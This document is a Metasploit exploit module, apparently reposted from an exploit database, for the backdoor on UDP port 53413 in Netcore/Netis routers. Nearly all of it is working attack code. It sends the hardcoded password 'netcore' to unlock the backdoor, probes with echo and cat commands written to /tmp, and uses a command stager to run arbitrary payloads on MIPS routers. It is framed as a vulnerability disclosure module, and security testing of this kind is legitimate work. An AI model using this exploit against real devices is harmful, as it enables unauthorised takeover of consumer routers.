###########################

# Netcore Router Udp 53413 Backdoor Vulnerability

###########################

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Udp
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Netcore Router Udp 53413 Backdoor',
'Description' => %q{
Routers manufactured by Netcore, a popular brand for networking
equipment in China, have a wide-open backdoor that can be fairly
easily exploited by attackers. These products are also sold under
the Netis brand name outside of China. This backdoor allows
cyber criminals to easily run arbitrary code on these routers,
rendering it vulnerable as a security device.
Some models include a non-standard echo command which doesn't
honor -e, and are therefore not currently exploitable with
Metasploit. See URLs or module markdown for additional options.
},
'Author' =>
[
'Nixawk',
'h00die <mike@shorebreaksecurity.com>'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://www.seebug.org/vuldb/ssvid-90227' ],
[ 'URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/netis-routers-leave-wide-open-backdoor/' ],
[ 'URL', 'https://github.com/h00die/MSF-Testing-Scripts/blob/master/netis_backdoor.py']
],
'Privileged' => true,
'Targets' =>
[
['MIPS Little Endian',
{
'Platform' => 'linux',
'Arch' => ARCH_MIPSLE
}
],
['MIPS Big Endian',
{
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 25 2014'))

register_options(
[
OptInt.new('TIMEOUT', [true, 'The socket response timeout in milliseconds', 1000]),
Opt::RPORT(53413)
], self.class)
end

def timeout
(datastore['TIMEOUT'] || 1000) / 1000.0
end

def send_command(data)
payload = "\x00" * 8
payload << data
udp_sock.put(payload)
end

def execute_command(cmd, _opts)
send_command(cmd)
vprint_status("Sending: #{cmd}")
end

def authenticate()
# netcore is the password to unlock the backdoor
send_command('netcore')
resp = udp_sock.get(timeout)
if resp.include?('Login succeeded!')
vprint_good('Backdoor Unlocked')
end
end

def check
connect_udp
authenticate
resp = []
tmp_file = Rex::Text.rand_text_alpha(5)
# we need to test the echo command to see if it plays nice
["echo -en #{tmp_file} > /tmp/#{tmp_file}", "cat /tmp/#{tmp_file}"].each do |command|
send_command(command)
resp << udp_sock.get(timeout)
end
disconnect_udp
resp_str = resp.join(',')
# check if we got a good response back
if resp.length >= 1 && resp_str.include?("\x00\x00\x00\x05") && resp_str.include?(tmp_file)
# some routers have a non-standard echo which doesn't support -en, so we need to detect that
if resp_str.include?('en ')
print_status('Router backdoor triggered, but non-exploitable echo command detected. Not currently exploitable with Metasploit.')
Exploit::CheckCode::Detected
else
Exploit::CheckCode::Vulnerable
end
else
Exploit::CheckCode::Safe
end
end

def exploit
print_status('Exploiting...')
connect_udp
authenticate
execute_cmdstager(:flavor => :echo, :linemax => 200)
disconnect_udp
end
end

###########################

# Iranian Exploit DataBase = http://IeDb.Ir [2016-08-13]

###########################